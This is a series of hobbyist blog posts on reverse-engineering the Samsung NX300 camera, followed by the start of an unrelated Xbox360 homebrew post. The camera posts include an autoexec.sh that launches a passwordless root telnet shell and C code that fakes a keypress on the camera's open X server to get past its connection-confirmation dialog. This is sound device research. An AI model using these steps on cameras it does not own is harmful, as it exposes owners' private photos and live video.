First, I want to thank Samsung for fixing the most serious security problems in the NX300 firmware. As of firmware version 1.41, the X server is closed down and there is an option to encrypt the WiFi network spawned by the camera with WPA2:

[v1.41]
1.Add Wi-Fi Privacy Lock function 2.Revision Open Source Licenses

Unfortunately, the provided 8-digit PIN can be cracked in less than one hour using pyrit on a middle-class GPU. While this is far from good security, it requires at least some dedication from the attacker.

Even more unfortunately, Samsung removed autoexec.sh execution from the NX300M firmware starting with (or after) 1.11. Dear Samsung engineers, if you are reading this: please add it back! Executing code from the SD card (without modifying the firmware image) is a great opportunity, not a security problem! Most of the mods discussed in this post are leveraging that functionality in a creative way!

Automatic Photo Backups

Markus A. Kuppe has written a tutorial for auto-backups of the NX300 using an ftp client on the camera and a Raspberry Pi ftp server. One interesting bit of information is how to make the camera auto-connect to WiFi whenever it is turned on, using a custom wpa_supplicant.conf and DBus:

cp /mnt/mmc/wpa_supplicant.conf /tmp/
/usr/bin/wlan.sh start NL 0x8210
/usr/sbin/connmand -W nl80211 -r
/usr/sbin/net-config
sleep 2
dbus-send --system --type=method_call --print-reply --dest=net.connman \
    /net/connman/service/wifi_a0219572b25b_7777772e6c656d6d737465722e6465_managed_psk \
    net.connman.Service.Connect

Jonathan Dieter created another backup mechanism using SCP and published the nx300m-autobackup source code. Well done!

Additional Kernel Modules

Markus also provided a short write-up on compiling additional kernel modules, which should allow us to extend the camera's functionality without re-flashing the firmware.

Crypto Photography

The most interesting idea, however, was envisioned by Doug Hickok. He modified the firmware to auto-encrypt photographs using public key cryptography. This allows for very interesting use cases like letting a professional photographer take pictures without allowing him to keep a copy, or for investigative journalists to hide their data tracks.

In the current implementation the pictures are first stored to the SD card and then encrypted and deleted, allowing for undelete attacks. Do not use it in production yet. With some more tweaking, however, it should be possible to make this firmware actually deliver the security promise.

Announcement: Samsung NX Hacks

Seeing how there is a (yet small) community of tinkerers around the NX300 camera, and with the knowledge that a whole range of Samsung NX cameras comes with Tizen-based firmware (NX1, NX200, NX2000, NX300M, ...?), the author has created a repository and a Wiki on GitHub.

Feel free to contribute to the wiki or the project - every input is welcome, starting from transferring information from the blog posts linked above into a more structured form in the wiki, and up to creating firmware modifications to allow for exciting new features.

Hack on!


Full series:

Posted 2015-01-29 17:30 Tags: hardware

This is the second post in a series covering the Samsung NX300 "Smart" Camera. In the first post, we have analyzed how the camera is interacting with the outside world using NFC and WiFi. In this post, we will have a deeper look at the operating system running on the camera, execute some code and open a remote root shell. This process can be applied (with some adaptations) to different networked consumer electronics, including home routers, NAS boxes and Smart TVs. The third post will leveage that knowledge to add functionality.

Firmware: Looking for Loopholes

Experience shows that most firmware images provide an easy way to run a user-provided shell script on boot. This feature is often added by the "software engineers" during development, but it boils down to a local root backdoor. On a camera, the SD card would be a good place to search. Other devices might execute code from an USB flash drive or the built-in hard disk.

Usually, we have to start with the firmware update file (nx300.bin from this 241MB ZIP in our case), run binwalk on it, extract and mount the root file system and have our fun. In this case, however, the source archive from Samsung's OSS Release Center contains an unpacked root file system tree in TIZEN/project/NX300/image/rootfs, so we just examine that:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ ls -l
total 72
drwxr-xr-x  4 4096 Oct 16  2013 bin/
drwxr-xr-x  3 4096 Oct 16  2013 data/
drwxr-xr-x  3 4096 Oct 16  2013 dev/
drwxr-xr-x 38 4096 Oct 16  2013 etc/
drwxr-xr-x  9 4096 Oct 16  2013 lib/
-rw-r--r--  1  203 Oct 16  2013 make_image.log
drwxr-xr-x  8 4096 Oct 16  2013 mnt/
drwxr-xr-x  3 4096 Oct 16  2013 network/
drwxr-xr-x 16 4096 Oct 16  2013 opt/
drwxr-xr-x  2 4096 Oct 16  2013 proc/
lrwxrwxrwx  1   13 Oct 16  2013 root -> opt/home/root/
drwxr-xr-x  2 4096 Oct 16  2013 sbin/
lrwxrwxrwx  1    8 Oct 16  2013 sdcard -> /mnt/mmc
drwxr-xr-x  2 4096 Oct 16  2013 srv/
drwxr-xr-x  2 4096 Oct 16  2013 sys/
drwxr-xr-x  2 4096 Oct 16  2013 tmp/
drwxr-xr-x 16 4096 Oct 16  2013 usr/
drwxr-xr-x 13 4096 Oct 16  2013 var/

make_image.log sounds like somebody forgot to clean up before shipping (this file is actually contained on the camera):

SBS logging begin
Wed Oct 16 14:27:21 KST 2013

WARNING: setting root UBIFS inode UID=GID=0 (root) and permissions to u+rwx,go+rx; use --squash-rino-perm or --nosquash-rino-perm to suppress this warning

If we can believe the /sdcard symlink, the SD card is mounted at /mnt/mmc. Usually, there are some scripts and tools referencing the directory, and we should start with them:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep /mnt/mmc -r .
./etc/fstab:/dev/mmcblk0    /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./etc/fstab:/dev/mmcblk0p1  /mnt/mmc        exfat   noauto,user,umask=1000 0 0
./usr/sbin/pivot_rootfs_ubi.sh:umount /oldroot/mnt/mmc
./usr/sbin/rcS.pivot:   mkdir -p /mnt/mmc
./usr/sbin/rcS.pivot:       mount -t vfat -o noatime,nodiratime $card_path /mnt/mmc
./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0 /mnt/mmc
./usr/bin/inspkg.sh:    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/inspkg.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc   
./usr/bin/inspkg.sh:find /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null
./usr/bin/ubi_initial.sh:mount -t vfat /dev/mmcblk0p1 /mnt/mmc
./usr/bin/ubi_initial.sh:cd /mnt/mmc
./usr/bin/remount_mmc.sh:   nr_mnt_dev=`/usr/bin/stat -c %d /mnt/mmc` #/opt/storage
./usr/bin/remount_mmc.sh:       umount /mnt/mmc 2> /dev/null
./usr/bin/remount_mmc.sh:           /bin/mount -t vfat /dev/mmcblk${i}p1 /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
./usr/bin/remount_mmc.sh:               /bin/mount -t vfat /dev/mmcblk${i} /mnt/mmc -o uid=0,gid=0,dmask=0000,fmask=0000,iocharset=iso8859-1,utf8,shortname=mixed
[ stripped a bunch of binary matches in /usr/bin and /usr/lib ]

What we have here are some usual Linux boot-up configuration files (fstab, rcS.pivot, ubi_initial.sh), a very interesting script that installs any Debian packages from the SD card (inspkg.sh), and ~50 shared libraries and executable binaries with the /mnt/mmc string hardcoded inside.

Package Installer Script

Let us have a look at inspkg.sh first:

#! /bin/sh

echo $1
if [ "$#" = "2" ]
then
    if [ "$2" = "0" ]
    then
    echo -e "mount mmcblk0.."
    mount -t vfat /dev/mmcblk0 /mnt/mmc
    else
    echo -e "mount mmcblk0p1..."
    mount -t vfat /dev/mmcblk0p1 /mnt/mmc
    fi
else
echo -e "mount mmcblk0p1..."
mount -t vfat /dev/mmcblk0p1 /mnt/mmc   
fi

find /mnt/mmc -name "*$1*.deb" -exec dpkg -i {} \; 2> /dev/null

echo -e "sync...."
sync

This is a shell script that takes one or two arguments. The first one is the package name to look for (the find command will find and install all .deb files containing the first argument in their name). The second argument is used to mount the correct partition of the SD card. Surely we can use this script to install dropbear, gcc or moon-buggy. Now we only need to figure out how (or from where) this script is run:

georg@megavolt:TIZEN/project/NX300/image/rootfs$ grep -r inspkg.sh .
georg@megavolt:TIZEN/project/NX300/image/rootfs$ 

Whoops. There are no references to it in the firmware. It was merely a red herring, and we need to find another way in.

The Magic Binary Blob

In /usr/bin, the most interesting file is di-camera-app-nx300, making references to /mnt/mmc/Demo/NX300_Demo.mp4, /mnt/mmc/SYSTEM/Device.xml and a bunch of WAV files in /mnt/mmc/sounds/ that seem to correspond to UI actions (up, down, ..., delete, ev, wifi).

This is obviously the magic binary blob controlling the really interesting functions (like the UI, the shutter, and the image processor). Most consumer electronics branded as "Open Source" contain some kind of Linux runtime which is only used to execute one large binary. That binary in turn encloses all the things you want to tinker with, but it is not provided with source code, still leaving you at the mercy of the manufacturer.

As expected, this program comes out of nowhere. There are traces of the di-camera-app-nx300 Debian package (version 0.2.387) being installed:

Package: di-camera-app-nx300
Status: install ok installed
Priority: extra
Section: misc
Installed-Size: 87188
Maintainer: Sookyoung Maeng <[snip]@samsung.com>, Jeounggon Yoo <[snip]@samsung.com>
Architecture: armel
Source: di-camera-app
Version: 0.2.387
Depends: libappcore-common-0, libappcore-efl-0, libaul-1, libbundle-0, libc6 (>= 2.4),
    libdevman-0, libdlog-0, libecore, libecore-evas, libecore-file, libecore-input,
    libecore-x, libedje (>= 0.9.9.060+svn20100304), libeina (>= 1.0.0.001+svn20100831),
    libelm, libevas (>= 0.9.9.060+svn20100203), libgcc1 (>= 1:4.4.0),
    libglib2.0-0 (>= 2.12.0), libmm-camcorder, libmm-player, libmm-sound-0,
    libmm-utility, libnetwork-0, libnl2 (>= 2.0), libslp-pm-0, libslp-utilx-0,
    libstdc++6 (>= 4.5), libvconf-0, libwifi-wolf-client, libx11-6,
    libxrandr2 (>= 2:1.2.0), libxtst6, prefman, libproduction-mode,
    libfilelistmanagement, libmm-common, libmm-photo, libasl, libdcm,
    libcapture-fw-slpcam-nx300, libvideo-player-ext-engine, libhibernation-slpcam-0,
    sys-mmap-manager, libstorage-manager, libstrobe, libdustreduction, libmm-slideshow,
    di-sensor, libdi-network-dlna-api, libproduction-commands, d4library,
    diosal
Description: Digital Imaging inhouse application for nx300

So this package is created from di-camera-app, which does not exist either, except "inhouse". Thank you Samsung for spoiling the fun... :-(

Besides of some start/stop scripts, the only other interesting reference to this magic binary blob is in TIZEN/build/exec.sh, which looks like a mixture of installation and startup script:

#!/bin/sh
# 

cp -f *.so /usr/lib
cp -f di-camera-app-nx300 /usr/bin
sync
sync
sync

sleep 1
cd /
startx; di-camera-app &

(Because with only one sync, you can never know, and two might still not be enough if you must be 300% sure the data has been written).

The camera app is accompanied by another magic binary blob for WiFi, smart-wifi-app-nx300 (Samsung should get an award for creative file names). However, there are no hints at possible code execution in either program, so we need to dig even deeper.

Searching Shared Libraries

The situation in /usr/lib is different, though. We can run strings on the files that mention the SD card mount point (limiting the output to the relevant lines):

georg@megavolt:TIZEN/project/NX300/image/rootfs$ for f in `grep -l /mnt/mmc *.so` ; do \
                echo "--- $f" ; strings $f | grep /mnt/mmc; done
[snip]
--- libmisc.so
/mnt/mmc
/mnt/mmc/autoexec.sh
--- libnetwork.so
/mnt/mmc/iperf.txt
--- libstorage.so
/usr/bin/iozone -A -s 40m -U /mnt/mmc -f /mnt/mmc/test -e > /tmp/card_result.txt
cp /tmp/card_result.txt /mnt/mmc
/mnt/mmc/auto_run.sh

Okay, this is starting to get hot! /mnt/mmc/autoexec.sh and /mnt/mmc/auto_run.sh are exactly what we have been looking for. We need to try one of them and see what happens!

autoexec.sh

To test our theory, we need to mount the camera via USB, and create the following autoexec.sh file in its root directory (Windows users watch out, the file needs to have Unix linebreaks!):

#!/bin/sh
LOG=/mnt/mmc/autoexec.log
date >> $LOG
id >> $LOG
echo "$PATH" >> $LOG
ps axfu >> $LOG
mount >> $LOG

Now we need to unmount the camera, turn it off and on again, wait some seconds, mount it, and check if we got lucky. Let's see... autoexec.log is there! Jackpot! Now we can analyze its contents, piece by piece:

Fri May  9 06:25:20 UTC 2014
uid=0(root) gid=0(root)
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/X11R6/bin:/sbin:/usr/local/bin:/usr/scripts

This output was just generated, it was running as root (yeah!), and the path looks rather boring.

PID     VSZ   RSS STAT  COMMAND
[stripped boring kernel threads and some columns]
  1    2988    52 Ss    init      
139   11460  1348 S     /usr/bin/system_server
144    2652   188 Ss    dbus-daemon --system
181    3416   772 Ss    /usr/bin/power_manager
232   12268  4608 S<s+  /usr/bin/Xorg :0 -logfile /opt/var/log/Xorg.0.log -ac -noreset \
    -r +accessx 0 -config /usr/etc/X11/xorg.conf -configdir /usr/etc/X11/xorg.conf.d
243    2988    76 Ss    init      
244    2988    56 Ss    init      
245    2988    60 Ss+   init      
246    2988    56 Ss+   init      
247    2988     8 S     sh /usr/etc/X11/xinitrc
256   20200  2336 S      \_ /usr/bin/enlightenment -profile samsung \
    -i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
254   19876     8 S     /usr/bin/launchpad_preloading_preinitializing_daemon
255   12648   816 S     /usr/bin/ac_daemon
259    3600     8 S     dbus-launch --exit-with-session /usr/bin/enlightenment -profile samsung \
    -i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it
260    2652     8 Ss    /usr/bin/dbus-daemon --fork --print-pid 5 --print-address 7 --session
267  690688 34760 Ssl   di-camera-app-nx300
404    2988   520 S      \_ sh -c /mnt/mmc/autoexec.sh
405    2988   552 S          \_ /bin/sh /mnt/mmc/autoexec.sh
408    2860   996 R              \_ ps axfu

Our script is executed by di-camera-app-nx300, there is enlightenment and dbus running, and i-really-know-what-i-am-doing-and-accept-full-responsibility-for-it.

The mount point list looks pretty standard as well for an embedded device, using UBIFS for flash memory and the exfat driver for the SD card:

rootfs on / type rootfs (rw)
ubi0!rootdir on / type ubifs (ro,relatime,bulk_read,no_chk_data_crc)
devtmpfs on /dev type devtmpfs (rw,relatime,size=47096k,nr_inodes=11774,mode=755)
none on /proc type proc (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /var/run type tmpfs (rw,relatime)
tmpfs on /var/lock type tmpfs (rw,relatime)
tmpfs on /var/tmp type tmpfs (rw,relatime)
tmpfs on /var/backups type tmpfs (rw,relatime)
tmpfs on /var/cache type tmpfs (rw,relatime)
tmpfs on /var/local type tmpfs (rw,relatime)
tmpfs on /var/log type tmpfs (rw,relatime)
tmpfs on /var/mail type tmpfs (rw,relatime)
tmpfs on /var/opt type tmpfs (rw,relatime)
tmpfs on /var/spool type tmpfs (rw,relatime)
tmpfs on /opt/var/log type tmpfs (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
/dev/ubi2_0 on /mnt/ubi2 type ubifs (ro,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/ubi1_0 on /mnt/ubi1 type ubifs (rw,noatime,nodiratime,bulk_read,no_chk_data_crc)
/dev/mmcblk0 on /mnt/mmc type exfat (rw,nosuid,nodev,noatime,nodiratime,uid=5000,gid=6,fmask=0022,
        dmask=0022,allow_utime=0020,codepage=cp437,iocharset=iso8859-1,namecase=0,errors=remount-ro)

Remote Access

The camera is not connected to your WiFi network by default, you have to launch one of the WiFi apps first. The most reliable one for experimenting in your (protected) home network is the Email app. After you launch it, the camera looks for WiFi networks (configure your own one here), and stays connected for a long time, keeping the X server (and anything you run via autoexec.sh) open.

After tinkering around with a static dropbear binary downloaded from the Internets (and binary-patching the references to dropbear_rsa_host_key and authorized_keys), I ran into a really silly problem:

[443] May 09 12:00:45 user 'root' has blank password, rejected

Running a Telnet Server

Around the same time, I realized one thing that I should have checked first:

lrwxrwxrwx    1    17 May 22  2013 /usr/sbin/telnetd -> ../../bin/busybox

Our firmware comes with busybox, and busybox comes with telnetd - an easy to deploy remote login service. After the realization settled, the first attempt looked like we almost did it:

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.
Connection closed by foreign host.

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
telnet: Unable to connect to remote host: Connection refused

Wow, the telnet port was open, something was running, but we crashed it! Another two mount-edit-restart-mount cycles later, the issue was clear:

telnetd: can't find free pty

Fortunately, the solution is documented. Now we can log into the camera for sure?

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.


************************************************************
*                 SAMSUNG LINUX PLATFORM                   *
************************************************************

nx300 login: root
Login incorrect

Damn, Samsung! Why no login? Maybe we can circumvent this in some way? Does the busybox telnetd help provide any hints?

    -l LOGIN        Exec LOGIN on connect

Maybe we can replace the evil password-demanding login command with... a shell? Let us adapt our SD card autoexec.sh script to what we have gathered:

#!/bin/sh

mkdir -p /dev/pts
mount -t devpts none /dev/pts

telnetd -l /bin/bash -F > /mnt/mmc/telnetd.log 2>&1 &

Another mount-edit-restart cycle, and we are in:

georg@megavolt:~$ telnet nx300
Trying 192.168.0.147...
Connected to nx300.local.
Escape character is '^]'.


************************************************************
*                 SAMSUNG LINUX PLATFORM                   *
************************************************************

nx300:/# cat /proc/cpuinfo
Processor       : ARMv7 Processor rev 8 (v7l)
BogoMIPS        : 1395.91
Features        : swp half thumb fastmult vfp edsp neon vfpv3 tls 
CPU implementer : 0x41
CPU architecture: 7
CPU variant     : 0x2
CPU part        : 0xc09
CPU revision    : 8

Hardware        : Samsung-DRIMeIV-NX300
Revision        : 0000
Serial          : 0000000000000000
nx300:/# free
         total       used       free     shared    buffers     cached
Mem:        512092     500600      11492          0        132      41700
-/+ buffers/cache:     458768      53324
Swap:        30716       8084      22632
nx300:/# df -h /
Filesystem                Size      Used Available Use% Mounted on
ubi0!rootdir            352.5M    290.8M     61.6M  83% /
nx300:/# ls -al /opt/sd0/DCIM/100PHOTO/
total 1584
drwxr-xr-x    2 root     root           520 May 22  2013 .
drwxr-xr-x    3 root     root           232 May 22  2013 ..
-rwxr-xr-x    1 root     root        394775 May 22  2013 SAM_0015.JPG
-rwxr-xr-x    1 root     root        335668 May 22  2013 SAM_0016.JPG   [Obama was here]
-rwxr-xr-x    1 root     root        357591 May 22  2013 SAM_0017.JPG
-rwxr-xr-x    1 root     root        291493 May 22  2013 SAM_0018.JPG
-rwxr-xr-x    1 root     root        232470 May 22  2013 SAM_0019.JPG
nx300:/# 

Congratulations, you have gained network access to yet another Linux appliance! From here, you should be able to perform anything you want on the camera, except from the interesting things closed in the Samsung binaries.

Comments on HN


Full series:

Posted 2014-05-12 18:05 Tags: hardware

The Samsung NX300 smart camera is a middle-class mirrorless camera with NFC and WiFi connectivity. You can connect it with your local WiFi network to upload directly to cloud services, share pictures via DLNA or obtain remote access from your smartphone. For the latter, the camera provides the Remote Viewfinder and MobileLink modes where it creates an unencrypted access point with wide-open access to its X server and any data which you would expect only to be available to your smartphone.

Because hardware engineers suck at software security, nothing else was to be expected. Nevertheless, the following will show how badly they suck, if only for documentation purposes.

This post is only covering the network connectivity of the NX300. Read the follow-up posts for getting a root shell and adding features to the camera. The smartphone app deserves some attention as well. Feel free to do your own research and post it to the project wiki.

The findings in this blog posts are based on firmware version 1.31.

NFC Tag

The NFC "connectivity" is an NTAG203 created by NXP, which is pre-programmed with an NDEF message to download and launch the (horribly designed) Samsung SMART CAMERA App from Google Play, and to inform the app about the access point name provided by this individual camera:

Type: MIME: application/com.samsungimaging.connectionmanager
Payload: AP_SSC_NX300_0-XX:XX:XX

Type: EXTERNAL: urn:nfc:ext:android.com:pkg
Payload: com.samsungimaging.connectionmanager

The tag is writable, so a malicious user can easily "hack" your camera by rewriting its tag to download some evil app, or to open nasty links in your web browser, merely by touching it with an NFC-enabled smartphone. This was confirmed by replacing the tag content with an URL.

The deployed tag supports permanent write-locking, so if you know a prankster nerd, you might end up with a camera stuck redirecting you to a hardcore porn site.

WiFi Networking

You can configure the NX300 to enter your WiFi network, it will behave like a regular client with some open services, like DLNA. Let us see what exactly is offered by performing a port scan:

megavolt:~# nmap -sS -O nx300

Starting Nmap 6.25 ( http://nmap.org ) at 2013-11-21 22:37 CET
Nmap scan report for nx300.local (192.168.0.147)
Host is up (0.0089s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
6000/tcp open  X11
MAC Address: A0:21:95:**:**:** (Unknown)
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).

This scan was performed while the "E-Mail" application was open. In AllShare Play and MobileLink modes, 7676/tcp is opened in addition. Further, in Remote Viewfinder mode, the camera also opens 7679/tcp.

X Server

Wait, what? X11 as an open service? Could that be true? For sure it is access-locked via TCP to prevent abuse?

georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts
-misc-fixed-medium-r-semicondensed--0-0-75-75-c-0-iso8859-1
-misc-fixed-medium-r-semicondensed--13-100-100-100-c-60-iso8859-1
-misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
6x13
cursor
fixed

georg@megavolt:~$ DISPLAY=nx300:0 xrandr
Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096
LVDS1 connected 480x800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm
   480x800        60.0*+
HDMI1 disconnected (normal left inverted right x axis y axis)

georg@megavolt:~$ for i in $(xdotool search '.') ; do xdotool getwindowname $i ; done
Defaulting to search window name, class, and classname
Enlightenment Background
acdaemon,key,receiver
Enlightenment Black Zone (0)

Enlightenment Frame
di-camera-app-nx300
Enlightenment Frame
smart-wifi-app-nx300

Nope! This is really an unprotected X server! It is running Enlightenment! And we can even run apps on it! But besides displaying stuff on the camera the fun seems very limited:

NX300 xteddy

X11 Key Bindings

A short investigation using xev outlines that the physical keys on the camera body are bound to X11 key events as follows:

On/Off XF86PowerOff (only when turning off)
Scroll Wheel XF86ScrollUp / XF86ScrollDown
Direct Link XF86Mail
Mode Wheel F1 .. F10
Video Rec XF86WebCam
+/- XF86Reload
Menu Menu
Fn XF86HomePage
Keypad KP_Left .. KP_Down, KP_Enter
Play XF86Tools
Delete KP_Delete

WiFi Client: Firmware Update Check

When the camera goes online, it performs a firmware version check. First, it retrieves http://gld.samsungosp.com:

Request:

GET / HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept: application/x-shockwave-flash, application/vnd.ms-excel, */*
Accept-Language: ko
User-Agent: Mozilla/4.0
Host: gld.samsungosp.com

Response:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 28 Nov 2013 16:23:48 GMT
Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT
Server: nginx/0.7.65
Content-Length: 7
Connection: keep-alive

200 OK

This really looks like a no-op. But maybe this is a backdoor to allow for remote code execution? Who knows...

Then, a query to http://ipv4.connman.net/online/status.html returns an empty document, but has your location data (apparently obtained from the IP) in the headers:

X-ConnMan-Status: online
X-ConnMan-Client-IP: ###.###.##.###
X-ConnMan-Client-Address: ###.###.##.###
X-ConnMan-Client-Continent: EU
X-ConnMan-Client-Country: DE
X-ConnMan-Client-Region: ##
X-ConnMan-Client-City: ###### (my actual city)
X-ConnMan-Client-Latitude: ##.166698
X-ConnMan-Client-Longitude: ##.666700
X-ConnMan-Client-Timezone: Europe/Berlin

Wow! They know where I live! At least they do not transmit any unique identifiers with the query.

As the last step, the camera is asking for firmware versions and gets redirected to an XML document with the ChangeLog.

Known versions so far:

WiFi Access Point: UPnP/DLNA

Two of the on-camera apps (MobileLink, Remote Viewfinder) open an unencrypted access point named AP_SSC_NX300_0-XX:XX:XX (where XX:XX:XX is the device part of its MAC address). Fortunately, Samsung's engineers were smart and added a user confirmation dialog to the camera UI, to prevent remote abuse:

NX300 Access Confirmation

Unfortunately, this dialog is running on a wide-open X server, so all we need is to fake an KP_Return event (based on an example by bharathisubramanian), and we can connect with whichever client, stream a live video or download all the private pictures from the SD card, depending on the enabled mode:

#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
/* Send Fake Key Event */
static void SendKey (Display * disp, KeySym keysym, KeySym modsym){
 KeyCode keycode = 0, modcode = 0;
 keycode = XKeysymToKeycode (disp, keysym);
 if (keycode == 0) return;
 XTestGrabControl (disp, True);
 /* Generate modkey press */
 if (modsym != 0) {
  modcode = XKeysymToKeycode(disp, modsym);
  XTestFakeKeyEvent (disp, modcode, True, 0);
 }
 /* Generate regular key press and release */
 XTestFakeKeyEvent (disp, keycode, True, 0);
 XTestFakeKeyEvent (disp, keycode, False, 0); 

 /* Generate modkey release */
 if (modsym != 0)
  XTestFakeKeyEvent (disp, modcode, False, 0);

 XSync (disp, False);
 XTestGrabControl (disp, False);
}

/* Main Function */
int main (){
 Display *disp = XOpenDisplay (NULL);
 sleep (1);
 /* Send Return */
 SendKey (disp, XK_Return, 0);
}

DLNA Service: Remote Viewfinder

The DLNA service is exposing some camera features, which are queried and used by the Android app. The device's friendly name is [Camera]NX300, as can be queried via HTTP from http://nx300:7676/smp_2_:

<dlna:X_DLNADOC>DMS-1.50</dlna:X_DLNADOC>
  <deviceType>urn:schemas-upnp-org:device:MediaServer:1</deviceType>
  <friendlyName>[Camera]NX300</friendlyName>
  <manufacturer>Samsung Electronics</manufacturer>
  <manufacturerURL>http://www.samsung.com</manufacturerURL>
  <modelDescription>Samsung Camera DMS</modelDescription>
  <modelName>SP1</modelName>
  <modelNumber>1.0</modelNumber>
  <modelURL>http://www.samsung.com</modelURL>
  <serialNumber>20081113 Folderview</serialNumber>
  <sec:X_ProductCap>smi,getMediaInfo.sec,getCaptionInfo.sec</sec:X_ProductCap>
  <UDN>uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</UDN>
  <serviceList>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ContentDirectory:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ContentDirectory</serviceId>
      <controlURL>/smp_4_</controlURL>
      <eventSubURL>/smp_5_</eventSubURL>
      <SCPDURL>/smp_3_</SCPDURL>
    </service>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ConnectionManager:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ConnectionManager</serviceId>
      <controlURL>/smp_7_</controlURL>
      <eventSubURL>/smp_8_</eventSubURL>
      <SCPDURL>/smp_6_</SCPDURL>
    </service>
  </serviceList>
  <sec:deviceID>
  </sec:deviceID>
</device>

Additional SOAP services are provided for changing settings like focus and flash (/smp_3_):

FunctionArgumentsResult
GetSystemUpdateIDId
GetSearchCapabilitiesSearchCaps
GetSortCapabilitiesSortCaps
BrowseObjectID BrowseFlag Filter
StartingIndex RequestedCount SortCriteria
Result NumberReturned
TotalMatches UpdateID
GetIPGETIPRESULT
GetInfomationGETINFORMATIONRESULT StreamUrl
SetResolutionRESOLUTION
ZoomINCURRENTZOOM
ZoomOUTCURRENTZOOM
MULTIAFAFSTATUS
AFAFSTATUS
setTouchAFOptionTOUCH_AF_OPTIONSET_OPTION_RESULT
touchAFAFPOSITIONTOUCHAF_RESULT
AFRELEASEAFRELEASERESULT
ReleaseSelfTimerRELEASETIMER
ShotAFSHOTRESULT
ShotWithGPSGPSINFOAFSHOTRESULT
SetLEDLEDTIME
SetFlashFLASHMODE
SetStreamQualityQuality

Another service is available for picture / video streaming (/smp_4_):

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetInfomationResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
    <GETINFORMATIONRESULT>
      <Resolutions>
        <Resolution><Width>5472</Width><Height>3648</Height></Resolution>
        <Resolution><Width>1920</Width><Height>1080</Height></Resolution>
      </Resolutions>
      <Flash>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <Defaultflash>auto</Defaultflash>
      </Flash>
      <FlashDisplay>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <CurrentFlashDisplay>off</CurrentFlashDisplay>
      </FlashDisplay>
      <ZoomInfo>
        <DefaultZoom>0</DefaultZoom>
        <MaxZoom>1</MaxZoom>
      </ZoomInfo>
      <AVAILSHOTS>289</AVAILSHOTS>
      <ROTATION>1</ROTATION>
      <StreamQuality>
        <Quality><Option>high</Option><Option>low</Option></Quality>
        <Default>high</Default>
      </StreamQuality>
    </GETINFORMATIONRESULT>
    <StreamUrl>
      <QualityHighUrl>http://192.168.102.1:7679/livestream.avi</QualityHighUrl>
      <QualityLowUrl>http://192.168.102.1:7679/qvga_livestream.avi</QualityLowUrl>
    </StreamUrl>
    </u:GetInfomationResponse>
  </s:Body>
</s:Envelope>

After triggering the right commands, a live video stream should be available from http://nx300:7679/livestream.avi. However, a brief attempt to get some video with wget or mplayer failed.

Firmware "Source Code"

The "source code" package provided on Samsung's OSS Release Center is 834 MBytes compressed and mainly contains three copies of the rootfs image (400-500MB each), and then some scripts. The actual build root is hidden under the second paper sheet link in the "Announcements" column.

Also, there are Obamapics in TIZEN/project/NX300/image/rootdir/opt/sd0/DCIM/100PHOTO.

The project is built on an ancient version of Tizen, on which I am no expert. Somebody else needs to take this stuff apart, make a proper build environment, or port OpenWRT to it.

Comments on HN


Full series:

Posted 2014-05-07 18:45 Tags: hardware

One-and-a-half Xbox360 hackers

Yesterday, I was sitting around and pondering whether to implement some kind of NAND filesystem support in XeLL. After all, there are people out there who would like to boot a Linux kernel without having to attach a USB storage device or insert a CD-R.

On the other hand, XeLL should actually be ported to libxenon, a hardware abstraction library for the Xbox360 hardware, which is desperately lacking developer attention as well. Now, I am only one person, but there are so many missing features. And by missing features I actually mean "things one could rip port from other OSS projects".

The idea of libhomebrew

And that is where the idea enlightened me. Every homebrew-on-$HARDWARE project so far was redoing the same things:

  1. hack the hardware (optional)

  2. write drivers for hardware components

  3. create a library containing/wrapping all the drivers and a libc

  4. port libraries with additional functionality (like MP3 playback and JPEG decoding)

  5. port libSDL ;-)

  6. write apps!

Now, steps 1. and 2. are of course specific to $HARDWARE. Step 3. is often based on how step 2. was performed, but it does not have to. The following steps however could be easily abstracted away from the actual hardware, even though currently, they are redone countless times.

But do we really have to redo them for every new platform?

One lib to rule them all

Instead, we could just create the one homebrew library, libhomebrew. It would contain a basic set of functionality, ports of commonly-used libraries and of course HAL backends for all supported platforms.

Everybody in the homebrew scene would profit from this:

  • homebrew authors could do write-once deploy-everywhere development.

